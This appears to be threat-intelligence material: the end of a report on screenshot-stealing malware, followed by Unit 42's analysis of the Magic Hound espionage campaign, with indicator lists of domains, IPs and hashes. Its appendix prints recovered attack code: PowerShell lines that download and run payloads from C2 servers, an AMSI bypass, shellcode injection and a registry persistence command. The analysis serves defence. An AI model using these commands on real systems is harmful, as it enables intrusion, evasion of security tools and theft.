+C:\Users\<Username>\AppData\Roaming\Microsoft\desktop.ini
+Then, it checks if the file already exists and continues execution if so. If not, it runs a routine which checks if there is mouse movement as an anti-sandbox technique. If no mouse
+movement is detected the malware runs in an infinite loop checking for mouse movement.
+If the file 
+desktop.ini
+ does not exist, the malware creates it and writes the following information into it:
+ interval={60} msfolder={10} status={0}
+This information is used as configuration data to create the screenshots. There are also other commands possible which can be retrieved from the C2 server. The following
+commands are available:
+exec={
+This command is used to download and execute a payload from a URL present in the curly brackets. It creates a random file path in temp folder, calls URLDownloadToFile() and
+CreateProcess() to run the payload. Then, it waits 30s and terminates the payload.
+interval={
+This command is used to define the interval in seconds between the creation of two or more screenshots.
+msfolder={
+This command defines the number of screenshots to create.
+command={ / command_c={
+This command is used to execute a file present as a string between the curly brackets. The variant with the 
+ uses the Windows tool cmd.exe with help of ShellExecute().
+status={
+This command contains the flag which defines if screenshots should be made (
+) or not (
+Next, it checks for a mutex named 
+asassin1dj
+ to verify if the system is already infected and creates it if this isn
+t the case:
+8/13
+Figure 8 Mutex check and creation routine
+Next, it creates the following folder, if not already present:
+C:\Users\<Username>\AppData\Roaming\Microsoft\store
+Next, according to the configuration data in 
+desktop.ini
+ it constantly creates 24-bit color depth JPEG screenshots without extension in the store folder with help of GDI32 and
+gdiplus API functions. The following file naming scheme for the screenshots is used:
+<year><month><day>_<hour><minute><seconds>
+After the last screenshot was created, it uploads all files from the 
+store
+ folder to the C2 server 
+win-restore[.]ru
+. Then, it deletes all the files present in the folder and starts a new
+screenshot creation cycle. It should be noted that there is no check of what files are uploaded. The files are uploaded via POST HTTP method to the script 
+vvd.php
+. For this, the
+following HTTP request is used which contains also data from the victim as well the JPEG files:
+POST /vvd.php HTTP/1.1
+Accept: application/x-www-form-urlencoded
+Connection: Keep-Alive
+Content-Type: multipart/form-data; boundary=----------987978B0urd3Gf_$
+Accept-Charset: utf-8
+User-Agent: asasing
+Host: win-restore.ru
+Content-Length: <length>
+Cache-Control: no-cache
+------------987978B0urd3Gf_$
+Content-Type: text/html
+Content-Disposition: form-data; name="uuid"
+WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236
+------------987978B0urd3Gf_$
+Content-Type: application/octet-stream
+Content-Disposition: form-data; name="file0"; filename="_"
+Content-Transfer-Encoding: 8bit
+...JPEG file...
+------------987978B0urd3Gf_$
+Content-Type: application/octet-stream
+Content-Disposition: form-data; name="file1"; filename="_"
+Content-Transfer-Encoding: 8bit
+...JPEG file...
+------------987978B0urd3Gf_$
+Finally, it checks if any new command information is available from the C2 server and updates the 
+desktop.ini
+ file according to it. Based on functionality, compile timestamps, and
+binary differencing this malware is likely an updated version of 598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824.
+wmphost.exe
+This file runs an infinite loop until mouse movement gets detected, then it exits. This file can be used to circumvent sandboxes that don
+t simulate mouse movement. To detect if it
+running inside a sandbox, another file can scan the list of running processes to see if 
+wmphost.exe
+ is present or not.
+Appendix B: Indicators of Compromise
+Domain Names
+admin-ru[.]ru
+adobe.update-service[.]net
+apploadapp.webhop[.]me
+brokbridge[.]com
+cat.gotdns[.]ch
+check-update[.]ru
+childrights.in[.]ua
+conhost.myftp[.]org
+docdownload.ddns[.]net
+downloads.email-attachments[.]ru
+downloads.file-attachments[.]ru
+dyndownload.serveirc[.]com
+e.muravej[.]ua
+9/13
+email-attachments[.]ru
+file-attachments[.]ru
+freefiles.myftp[.]biz
+getmyfile.webhop[.]me
+googlefiles.serveftp[.]com
+grom56.ddns[.]net
+grom90.ddns[.]net
+hrome-update[.]ru
+hrome-updater[.]ru
+loaderskypetm.webhop[.]me
+loadsoulip.serveftp[.]com
+mail.file-attachments[.]ru
+mails.redirectme[.]net
+mars-ru[.]ru
+msrestore[.]ru
+oficialsite.webhop[.]me
+parkingdoma.webhop[.]me
+poligjong.webhop[.]me
+polistar.ddns[.]net
+proxy-spread[.]ru
+rms.admin-ru[.]ru
+samotsvety.com[.]ua
+skypeemocache[.]ru
+skypeupdate[.]ru
+spbpool.ddns[.]net
+spread-service[.]ru
+spread-ss[.]ru
+spread-updates[.]ru
+stor.tainfo.com[.]ua
+tortilla.sytes[.]net
+ukrnet.serveftp[.]com
+ukrway.galaktion[.]ru
+umachka[.]ua
+update-service[.]net
+updatesp.ddns[.]net
+updateviber.sytes[.]net
+webclidie.webhop[.]me
+win-restore[.]ru
+winloaded.sytes[.]net
+winupdateloader[.]ru
+www.file-attachments[.]ru
+www.win-restore[.]ru
+yfperoliz.webhop[.]me
+URLs:
+http://childrights.in[.]ua/public/manager/img/scrdll.ini
+http://prestigeclub.frantov[.]com.ua/press-center/press/chrome-xvnc-v5517.exe
+http://umachka[.]ua/screen/dk.tmp
+http://umachka[.]ua/screen/screen.tmp
+http://viberload.ddns[.]net/viber.nls
+Hashes:
+Samples using custom developed tools:
+002aff376ec452ec35ae2930dfbb51bd40229c258611d19b86863c3b0d156705
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+13/13
+Magic Hound Campaign Attacks Saudi Targets
+researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/
+By Bryan Lee and Robert Falcone
+2/16/2017
+Unit 42 has discovered a persistent attack campaign operating primarily in the Middle East dating back to at least mid-2016 which we have named Magic Hound. This appears to be an
+attack campaign focused on espionage. Based upon our visibility it has primarily targeted organizations in the energy, government, and technology sectors that are either based or have
+business interests in Saudi Arabia. The adversaries appear to have evolved their tactics and techniques throughout the tracked time-period, iterating through a diverse toolset across
+different waves of attacks. Link analysis of infrastructure and tools also revealed a potential relationship between Magic Hound and the adversary group called 
+Rocket Kitten
+ (AKA
+Operation Saffron Rose, Ajax Security Team, Operation Woolen-Goldfish) as well as an older attack campaign called Newscasters. Artifacts of this campaign was also recently published
+by Secureworks CTU.
+We were able to collect over fifty samples of the tools used by the Magic Hound campaign using the AutoFocus threat intelligence tool. The earliest malware sample we were able to
+collect had a compile timestamp in May 2016. The samples themselves ranged from IRC bots, an open source Python remote access tool, malicious macros, and others. It is believed the
+use of specific tools may have coincided with specific attack waves by this adversary, with the most recent attacks using weaponized Microsoft Office documents with malicious macros.
+Due to the large amount of data collected, and limitations on attack telemetry, this blog will focus primarily on the most recent attacks occurring in the latter half of 2016.
+ATTACK DETAILS
+The samples initially collected and associated with Magic Hound were Microsoft Word and Excel documents containing embedded malicious macros. We were able to expand our data set
+by pivoting on infrastructure and tool behavior, which uncovered additional types of tools in use by Magic Hound, such as regular portable executable (PE) payloads, PE files compiled in
+.NET Framework, various forms of IRC bots, and an open source file-less Python remote access tool called Pupy.
+The weaponized Office documents were found to be hosted either on what appeared to be compromised legitimate websites, or on websites using domain names similar to legitimate
+domain names in appearance. The two legitimate websites we were able to identify were owned by organizations in the government and energy sectors. Based on the existence of these
+malicious files on the legitimate websites, it is highly probable that the websites had already been compromised in some fashion. At the time of investigation, the files had already been
+removed from the websites. The two other delivery sites were ntg-sa[.]com, which may be trying to spoof a Saudi based information and communication technology conglomerate and
+mol.com-ho[.]me, which may be trying to spoof the Ministry of Labor. A third delivery site was identified at its.com-ho[.]me which may appear to be a benign domain.
+Several of these documents were also found on a seemingly unrelated, but benign-looking domain, briefl[.]ink.
+It is highly likely the adversary then used spear-phishing attacks containing links to these malicious documents as a delivery mechanism. We were ultimately able to identify multiple
+organizations in the government, energy, and technology sectors targeted by Magic Hound.
+The weaponized documents themselves all contained malicious macros which were designed to call Windows PowerShell to retrieve additional tools. A handful of lures with different
+themes were used repeatedly with variations throughout the eighteen collected documents. They ranged from documents masquerading as official Saudi government forms to a holiday
+greetings card. The forms masquerading as official government documents specifically used imagery from the Ministry of Health and the Ministry of Commerce claiming to be mandatory
+forms that required macros to be enabled. Examples of the documents can be seen below:
+1/19
+2/19
+INFRASTRUCTURE
+Analysis of the weaponized documents revealed some peculiarities right away. The majority of documents used the name 
+gerry knight
+ for the author field in the document metadata, and
+the embedded macros largely used direct IP connections to command and control (C2) servers rather than using domain names. These C2 servers also appeared to lack any
+relationships to each other and were hosted on a variety of VPS providers. Two of the Word documents using the 
+gerry knight
+ author name however were found to be communicating to
+C2 servers on two specific domains, www1.chrome-up[.]date and www3.chrome-up[.]date. Using these domains as pivot points, we were able to expand our data set. As seen below, the
+relational analysis proved to be quite fruitful:
+3/19
+Figure 1 Overview of relationships
+We rapidly discovered a different set of tools communicating to the exact same C2 servers as those two Word documents, in addition to other tools communicating to other subdomain
+variations of chrome-up[.]date as seen in the following graphic:
+4/19
+Figure 2 Command and control overlaps
+From there, we were able to map out a large infrastructure separating out into four categories of tools: downloaders, droppers, loaders, and payloads. What initially appeared as a
+disparate and segregated attack campaign appeared very rapidly to be a persistent and prolonged attack campaign with very specific goals in mind.
+In total, we were able to collect over fifty different samples via infrastructure reuse, behavioral matching, and the reuse of a specific file for maintaining persistence. These tools included
+Microsoft Office documents, portable executables (PE), .NET Framework PE files, Meterpreter, IRC bots, an open sourced Meterpreter module called Magic Unicorn, and an open
+sourced Python RAT called Pupy.
+Interestingly as we continued to expand and pivot in our data set, one of the C2 IPs used by an IRC bot payload from Magic Hound was found to be the same IP used to deliver a different
+IRC bot called MPK.
+Figure 3 Rocket Kitten and Magic Hound infrastructure overlap
+The MPK bot is not publicly available and had previously been attributed to an adversary group called 
+Rocket Kitten
+ which has often been thought to be a state sponsored adversary
+operating in the Middle East region. Although the likelihood of two different adversaries focused on espionage operating in the same geographical region using one specific IP and not
+being related somehow is fairly slim, due to limited telemetry, we lack additional corroborating evidence of a conclusive relationship.
+MAGIC HOUND TOOLSET
+The Magic Hound attacks did not rely on exploit code to compromise targeted systems, instead relying on executables and Microsoft Office documents, specifically Excel and Word
+5/19
+documents containing malicious macros. During our analysis, we were able to determine the ultimate payload for several of these attacks. One payload was a Python based open source
+remote administration tool (RAT) called Pupy. A second payload was an IRC bot we have named MagicHound.Leash. We have also seen this group use the Magic Unicorn module to
+generate a PowerShell script to deliver a shellcode-based payload. While we have not been able to obtain a secondary payload from the Unicorn generated PowerShell script, we believe
+that this group uses the script to deliver Metasploit
+s Meterpreter as a potential payload as well.
+We have categorized the custom tools in use by the Magic Hound campaign into five categories, with corresponding names in Table 1. Additional details for these tools may be found in
+the appendix.
+TYPE
+NAME
+Dropper
+MagicHound.DropIt
+Executable Loader
+MagicHound.Fetch
+Document Loader
+MagicHound.Rollover
+Downloader
+MagicHound.Retriever
+IRC Bot
+MagicHound.Leash
+Table 1 Types of MagicHound tools and their Corresponding Names
+MAGICHOUND.ROLLOVER
+The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method, specifically attempting to load either the Pupy RAT or meterpreter which
+we have called MagicHound.Rollover. The malicious macros were all designed to use Windows PowerShell to download a shellcode-based payload from a remote server. We discovered
+two different techniques used in the PowerShell scripts, the first being a straightforward execute command of a string retrieved from the remote server. The second technique appeared to
+be from a tool called Magic Unicorn, an open source module for meterpreter. Specifically, we discovered code in the PowerShell script that was a match for code in Magic Unicorn
+containing the comment 
+one line shellcode injection with native x86 shellcode
+MAGICHOUND.FETCH
+In addition to loading payloads using macros within delivery documents, we observed the Magic Hound campaign using executables to load secondary payloads from a remote server.
+Both a custom developed loader, which we have named MagicHound.Fetch, as well as the default loader that comes with Pupy were found to be in use. The Fetch loader allowed us to
+use attributes within the loader to uncover more tools used by this group, which included a backdoor and an IRC bot.
+Fetch first attempts to create persistent access to the targeted host then retrieve a secondary payload from a remote server. To set up persistence, the loader writes a file to
+c:\temp\rr.exe
+ and executes it with specific command line arguments to create auto run registry keys. All Fetch samples drop the same exact executable to set up persistence.
+Many of the Fetch samples we analyzed attempted to obfuscate their functionality by encrypting their embedded strings using AES. However, they all used the same key
+agkrhfpdbvhdhrkj
+. The loader
+s main goal was to run a PowerShell command to execute shellcode. We found the PowerShell command used by Fetch within the source code of Magic
+Unicorn, which was also used in the Magic Hound delivery documents. The shellcode executed by this PowerShell is the exact same as in the delivery documents, using code from
+Metasploit which can obtain additional shellcode to execute using an HTTP request to the following URL:
+http://www7.chrome-up[.]date/0m5EE
+We were not able to retrieve the shellcode hosted at this URL. However, as alluded to above, we believe that this adversary used the open source Magic Unicorn tool to load a shellcodebased payload which is likely to be meterpreter.
+PUPY LOADER
+The Pupy RAT comes packaged by default with loaders that can run the RAT on a variety of platforms such as Windows, macOS, Linux and Android. We have seen the Magic Hound
+campaign use both the 32-bit and 64-bit DLL loaders that come with Pupy to infect Windows systems. Analysis of their configurations show that the C2 servers used both fully-qualified
+domain names and IP addresses. Also, the configurations show the use of the 
+obfs3
+ (The Threebfuscator) transport, which is an obfuscation method to hide the true TCP-based
+communications protocol. The 
+obfs3
+ is used in the Tor project and the specifics of this transport can be found at the Tor Project.
+MAGICHOUND.DROPIT
+The Magic Hound campaign was also discovered using a custom dropper tool, which we have named MagicHound.DropIt. The DropIt Trojan we analyzed is an executable that builds
+another executable by decoding embedded blobs of base64 encoded data and concatenating them together in the correct order. In all of the DropIt samples we collected, the dropper then
+saves the executable to the user
+s %TEMP% folder and executes the file.
+We have also seen Magic Hound using DropIt as a binder, specifically dropping a legitimate decoy executable along with the malicious executable onto the target host. The legitimate
+decoy executable and the malicious executable are then both executed, but with the malicious file running in the background and the decoy presented to the user. These types of tactics
+are generally used for evasion and to not trigger and suspicion from the victim. In one example, the decoy executable was a legitimate Flash installer, therefore from the victim
+perspective, they would experience the expected behavior of a Flash installer.
+MAGICHOUND.RETRIEVER
+We observed a DropIt sample installing another Trojan we call MagicHound.Retriever. At a high level, Retriever is a .NET downloader that retrieves secondary payloads using an
+embedded URL in its configuration as the C2. Retriever uses .NET web services and the SoapHttpClientProtocol class to communicate with its C2 server, which generates HTTP requests
+resembling the example request in Figure 4.
+6/19
+Figure 4 Retriever HTTP request sent to its C2 server
+MAGICHOUND.LEASH
+The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash. We discovered this connection when we observed a DropIt sample
+installing a backdoor Trojan that used IRC for its C2 communications.
+Leash obtains its commands via private messages (PRIVMSG) sent from the adversary who must also be connected to the IRC server. All of its available commands (see Appendix),
+except for the VER command seen in Figure 5, must be issued by individuals in the IRC channel with nicknames that start with 
+ or 
+Figure 5 Lecash bot responding to VER command
+There are a great deal of similarities between the IRC bot originally discussed in iSight
+s NEWSCASTER whitepaper and LEASH. iSight
+s whitepaper provided details on an IRC bot,
+which some refer to as Parastoo based on the password used to join the IRC channel, as seen in the following network traffic generated when attempting to connect to the C2:
+Parastoo Trojan
+MagicHound.Leash
+USER AS_ # # :des
+USER AS_a # # :des
+NICK t__982
+NICK Conroy
+JOIN :#tistani Parastoo
+JOIN :#kalk
+Performing a binary diff revealed a 67% similarity between the Leash and Parastoo samples. In addition to sharing significant portions of code, both of the IRC bots require an IRC user
+nickname to start with either 
+ or 
+ to run commands on the system. Also, the two bots have similar responses to 
+ commands seen in Figure 6 below, which differ slightly
+from the responses seen generated by Leash.
+7/19
+Figure 6 Parastoo Trojan responding to commands in similar manner to Leash
+MPKBot
+We also found a second IRC bot called MPK using the same IP for its C2 server that a Leash sample was hosted on. This MPK IRC bot is very similar to the MPK Trojan that used a
+custom C2 communications protocol, as detailed in a whitepaper by CheckPoint regarding a threat group called Rocket Kitten. We believe this version of the MPK Trojan is based on the
+same code base, as both the IRC version and the one referenced in the white paper have considerable similarities from a behavior standpoint as well as direct code overlap.
+CONCLUSION
+The Magic Hound attack campaign is an active and persistent espionage motivated adversary operating in the Middle East region. Organizations in the government, energy, and
+technology sectors have been targeted by this adversary, specifically organizations based in or doing business in Saudi Arabia. The toolset used by the Magic Hound campaign was an
+assortment of custom tools, as well as open sourced tools available to the general public. None of the tools we uncovered were found to be exploit-driven, and relied exclusively on social
+engineering tactics to compromise targets. While we did discover a potential relationship with the Rocket Kitten adversary group, we cannot confirm the extent of that relationship at this
+time, although we will continue to monitor the activities of Magic Hound.
+Palo Alto Networks customers are protected via the following:
+WildFire identification and detection of malicious samples
+Command and control servers are classified as malicious
+AutoFocus tags have been created
+Magic Hound
+MagicHound DropIt
+MagicHound Fetch
+MagicHound Retriever
+MagicHound Rollover
+MagicHound Leash
+MagicHound MPKBot
+PuPYRAT
+INDICATORS OF COMPROMISE
+MagicHound.DropIt SHA256
+c21074f340665935e6afe2a972c8d1ab517954e2dd05cc73e5ff0e8df587b99d
+ea139a73f8ec75ea60dfa87027c7c3ef4ed61b45e1acb5d1650cc54e658984ba
+da2abdc951e4b2272fea5c8989debd22e26350bab4b4219104bccec5b8a7ff5a
+0d3ae682868cb3ff069ec52e1ffc5ef765453fd78e47b6366d96aebb09afd8ab
+f0ecc4388f0d84501499711681a64a74c5d95e0bb6a2174cbe3744bd5a456396
+860f4cd44371a180a99bc16526f54f8b051c420a3df334d05d569d0cdadac3d2
+b42b1186211633c2d47f3d815f0371ba234fee2ed0f26e487badc58e1ab81061
+4beee6e7aa244335e161fdc05296ea100090c2114b4ff2e782e3ee3e1f936fdf
+5e0e09c9860b293c4c9a2382a7392963adc54d6a23440abb9a2d89c50f8fd305
+3161f9087d89a2d036ea32741d5a006c6bb279d36ff8d1acde63f2e354f8c502
+MagicHound.Fetch PE SHA256
+b6c159cad5a867895fd41c103455cebd361fc32d047b573321280b1451bf151c
+8/19
+6a7537f2cedbf453114cfba086e4746e698713777fb4fa4fc8964247dde741ed
+16d87fbd8667677da1af5433b6d797438f8dc0ab565fb40ecb29f83f148888cd
+92bc7d04445cf67aa7ddf15792cd62778d2d774d06616d1986f4c389b3d463f5
+86d3409c908f667dd298b6a7e1e17652bb29af73e7daed4a5e945fbdf742e9f4
+c3a8f5176351e87d28f45e58c79bb6646bb5d94ade7a24c6556514c860004143
+a390365ddfcce146a8fa8435022f19b9a1be29f2b11a049cb660ec53f36beb06
+d2ffc757a12817e4b58b3d58d71da951b177dedd3f65ca41fad04a03fc63fac6
+79c9894b50cde62b182bd1560060c5c2bf5a1cef2b8afdffc4766e8c55ff6932
+2f7f3582504fbce349a6991fbb3b5f9577c5c014b6ce889b80d51977fa6fb31a
+8c2e4aa8d73ad2e48d70dfa18abea62769c7bef59c8c1607720f4f6162413f75
+abe8e86b787998a07411ee24f3f3d8a79e37c6da539650ceed566b081f968c26
+9e4d2e983f8a807f741f8873e6fa5d222dc6f3b358ccfc3a6c700398b342f656
+e57f77cc3d117923ec01aa0e044edc11b1042e57993ca7f74d971630893ca263
+ca6e823dedd6ca5fada2b1fa63d0acb288027f5a3cdd2c60dcace3c424c5ced0
+eaaecabb439c81e522d9f5681fdb047ee62381e763f0d9646e68cd507479ba5a
+1c3e527e496c4b0594a403d6d582bc6db3029d27369720d0d5122f862b10d8f1
+29a659fb0ef0262e4de0dc3c6a140677b6ddee13c1819b791bd280be0547e309
+MagicHound.Fetch PE C2
+service.chrome-up[.]date
+www3.chrome-up[.]date
+www7.chrome-up[.]date
+timezone[.]live
+service1.chrome-up[.]date
+104.238.184[.]252
+www5.chrome-up[.]date
+servicesystem.serveirc[.]com
+MagicHound.Fetch DOC SHA256
+218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2
+e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6
+71e584e7e1fb3cf2689f549192fe3a82fd4cd8ee7c42c15d736ebad47b028087
+388b26e22f75a723ce69ad820b61dd8b75e260d3c61d74ff21d2073c56ea565d
+33ee8a57e142e752a9c8960c4f38b5d3ff82bf17ec060e4114f5b15d22aa902e
+5469facc266d5582bd387d69032a91c8fff373213b66a2f0852666e72bcdc1da
+528714aaaa4a083e72599c32c18aa146db503eee80da236b20aea11aa43bdf62
+66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b
+cfce4827106c79a81eef6d3a0618c90bf5f15936036873573db76bed7e8a0864
+68db2b363a88b061cc9063535f3920673f1f08d985b14cb52b898ced6c0f8964
+e837f6b814c09900726dac2cf55f41babf361152875ba2a765a34ee5cc496087
+f912d40de9fe9a726448c1d84dfba2d4941f57210b2dbc035f5d34d68e8ac143
+af0ae0fa877f921d198239b7c722e12d14b2aa32fdfadaa37b47f558ae366de9
+6d1a50ca3e80442fa3e2caca86c166ed60bef32c2d0af7352cd227303cdec031
+MagicHound.Fetch DOC C2
+45.76.128[.]165
+9/19
+139.59.46[.]154
+104.218.120[.]128
+89.107.62[.]39
+69.87.223[.]26
+analytics-google[.]org
+89.107.60[.]11
+www3.chrome-up[.]date
+www.microsoftsubsystem.com-adm[.]in
+www1.chrome-up[.]date
+MagicHound.Fetch XLS SHA256
+6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b
+97943739ccf8a00036dd3cdd0ba48e17a82ab9b65cc22c17c6e6258e72bb9ade
+MagicHound.Fetch XLS C2
+45.76.128[.]165
+139.59.46[.]154
+Pupy Loaders SHA256
+7e57e35f8fce0efc3b944a7545736fa419e9888514fcd9e098c883b8d85e7e73
+db453b8de1a01a3e4d963847c0a0a45fb7e1a9b9e6d291c8883c74019f2fc91f
+82779504d3fa0ffc8506ab69de9cb4d8f6415adbb11a9b8312828c539cf10190
+Pupy Loaders C2
+139.59.46[.]154
+www1.chrome-up[.]date
+MagicHound.Retriever SHA256
+1c550dc73b7a39b0cd21d3de7e6c26ece156253ac96f032efc0e7fcc6bc872ce
+7cdbf5c035a64cb6c7ee8c204ad42b4a507b1fde5e6708ea2486942d0d358823
+b2ea3fcd2bc493a5ac86e47029b076716ed22ef4487f9090f4aa1923a48015d6
+3f23972a0e80983351bedf6ad45ac8cd63669d3f1c76f8834c129a9e0418fff1
+MagicHound.Retriever C2
+service.chrome-up[.]date
+msservice[.]site
+microsoftexplorerservices[.]cloud
+MagicHound.Leash SHA256
+133959be8313a372f7a8d95762722a6ca02bc30aaffde0cbcf6ba402426d02f5
+ba3560d3c789984ca29d80f0a2ea38a224e776087e0f28104569630f870adaf4
+d8731a94d17e0740184910ec81ba703bad5ff7afc92ba056f200533f668e07bf
+MagicHound.Leash C2
+45.56.123[.]129
+syn.timezone[.]live
+10/19
+MPKBot SHA256
+d08d737fa59edbea4568100cf83cff7bf930087aaa640f1b4edf48eea4e07b19
+MPKBot C2
+45.58.37[.]142
+Appendix
+MAGICHOUND.ROLLOVER
+The Magic Hound campaign used Word and Excel documents as a delivery method, specifically documents that contain a malicious macro that attempts to load either the Pupy RAT or
+possibly Meterpreter. We call this tool MagicHound.Rollover. In one example, the Word document contained a button with the label 
+First click 
+Enable Content
+ above the page, then click
+here to fill out the form
+This string attempts to trick the user into enabling macros to execute the malicious code within the macro. When the macro executes, it unhides a table that contains the contents of a
+legitimate document in an attempt to make the user less suspicious of the malicious activities occurring in the background. The macro contains malicious code that attempts to download
+content from a remote server.
+The macro uses PowerShell to download a shellcode-based payload from a remote server using one of two available techniques. The first technique is rather straightforward, using
+PowerShell
+ function to execute a string obtained from a remote server. The macro carries out this first technique by running the following command:
+powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('hxxp://139.59.46.154:3485/eiloShaegae1')"
+The code above generates the following HTTP request, which the C2 server would then respond to with a script that PowerShell would execute:
+GET /eiloShaegae1 HTTP/1.1
+Host: 139.59.46[.]154:3485
+Connection: Keep-Alive
+The second method involves using PowerShell to create a thread to execute a buffer of shellcode, which we believe the threat actors obtained from the Magic Unicorn source code. The
+Unicorn source code contains a comment for this specific PowerShell command, which is described as a 
+one line shellcode injection with native x86 shellcode
+The shellcode begins with a stub that is responsible for decrypting additional shellcode. To decrypt the additional shellcode, the stub code will start with an initial key, such as 0x6CAF9362
+and XOR the first DWORD of the additional shellcode. It will then add the resulting DWORD to the key that the stub code will use to decrypt the second DWORD and so on. After we
+decrypted the additional shellcode, we determined that the functional shellcode is part of the Metasploit Framework, specifically using the block_api.asm code to resolve API function
+names and the block_reverse_http.asm code to obtain additional shellcode to execute on the system. The assembly code used to create the shellcode can be obtained from:
+https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm
+https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
+The purpose of the shellcode is to obtain additional shellcode to execute using an HTTP request to the URL 
+hxxp://45.76.128[.]165:4443/0w0O6
+. We are unsure of the shellcode hosted
+at this URL, but it is possible that additional shellcode-based payloads like Meterpreter could have been served by this shellcode.
+Two Rollover delivery documents (SHA256: 6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b and SHA256:
+218fac3d0639c0d762fcf71685bcf6b64c33d1533df03b4cf223d9b07ca1e3c2) attempted to communicate with the URL hxxp://139.59.46[.]154:3485/eiloShaegae1 to obtain additional code
+to execute. On January 1, 2017, we observed this URL responding to the above HTTP request with the following data:
+powershell.exe -exec bypass -window hidden -noni -nop -encoded
+JABjAG8AbQBtAGEAbgBkACAAPQAgACcAVwB3AEIATwBBAEcAVQBBAGQAQQBBAHUAQQBGAE0AQQBaAFEAQgB5AEEASABZAEEAYQBRAEIAagBBAEcAVQBBAFUAQQBCAHYAQ
+As you can see, the C2 server responds with a PowerShell command that will run on the system. The PowerShell command decodes to the following:
+11/19
+$command =
+'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhA
+if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
+$exec = $Env:windir + '\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command
+IEX $exec
+else
+$exec = [System.Convert]::FromBase64String($command)
+$exec = [Text.Encoding]::Unicode.GetString($exec)
+IEX $exec
+The script above checks the system architecture to determine if it is an x64 machine and attempts to execute a base64 encoded command that decodes to the following:
+[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
+try{
+[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
+}catch{}
+IEX (New-Object Net.WebClient).DownloadString('http:// 139.59.46[.]154:3485 /IMo8oosieVai');
+This decoded PowerShell script attempts to download and execute a file using HTTP from the URL 
+hxxp:// 139.59.46[.]154:3485 /IMo8oosieVai
+. The C2 server will respond to this HTTP
+GET request with a large amount of data that includes a PowerShell script that also contains a DLL payload that is embedded as a series of base64 encoded chunks, that is then decoded
+using the following code:
+$PEBytesTotal =
+[System.Convert]::FromBase64String($PEBytes0+$PEBytes1+$PEBytes2+$PEBytes3+$PEBytes4+$PEBytes5+$PEBytes6+$PEBytes7+$PEBytes8+$PEBytes9+$PEBytes10+$PEBytes11
+The PowerShell script loads the DLL payload directly into memory without saving it to the disk. The Pupy payload was generated using the following configuration, which shows the C2
+IP/port and the use of the 
+obfs3
+ transport:
+LAUNCHER_ARGS=['--host', '139.59.46[.]154:3543', '-t', 'obfs3']
+It appears the adversary used a majority of the following Pupy module to create the PowerShell commands used in the delivery documents:
+https://github.com/n1nj4sec/Pupy/blob/master/Pupy/Pupylib/payloads/ps1_oneliner.py
+MAGICHOUND.FETCH
+The custom loader Trojan used by this group, which we call MagicHound.Fetch is responsible for setting up persistent access to the system and to reach out to a remote server to
+download and execute a secondary payload. To set up persistence, the loader creates a folder named 
+c:\temp
+, sets its attributes to be a hidden and system folder to hide the folder from
+view in Windows Explorer. It then writes a file named 
+rr.exe
+ (SHA256: f439dee4210d623b5aa7491bad8e8d9b43305f25a5d26940eb36f6460215cf8e) to this folder and executes it with
+specific command line arguments. During our analysis, we observed one loader running 
+rr.exe
+ with the following arguments:
+open cmd.exe /c c:\\temp\\rr.exe SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\spp.exe" iexplore
+The 
+rr.exe
+ payload dropped to the system does nothing more than use the supplied command line arguments to create a registry key to execute the payload each time the system starts.
+In the example above, the 
+spp.exe
+ executable would be added to an auto-run registry key at:
+SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iexplore
+Many of the Fetch samples attempted to obfuscate their functionality by encrypting their embedded strings with AES using the same key 
+agkrhfpdbvhdhrkj
+; however, the loader
+s main
+goal involved running the following command:
+/c powershell -window hidden -EncodedCommand
+JAAwAG8AOABlACAAPQAgACcAJABmADkAQgAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGM
+The base64 encoded command decodes to the following:
+$0o8e = '$f9B = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public
+static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
+[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $f9B -Name "Win32" -namespace Win32Functions passthru;[Byte[]];[Byte[]]$z = <shellcode REDACTED for brevity>;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$rJr=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le
+($z.Length-1);$i++) {$w::memset([IntPtr]($rJr.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$rJr,0,0,0);for (;;){Start-sleep 60};';$e =
+[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($0o8e));$DKn = "-enc ";if([IntPtr]::Size -eq 8){$b32 = $env:SystemRoot +
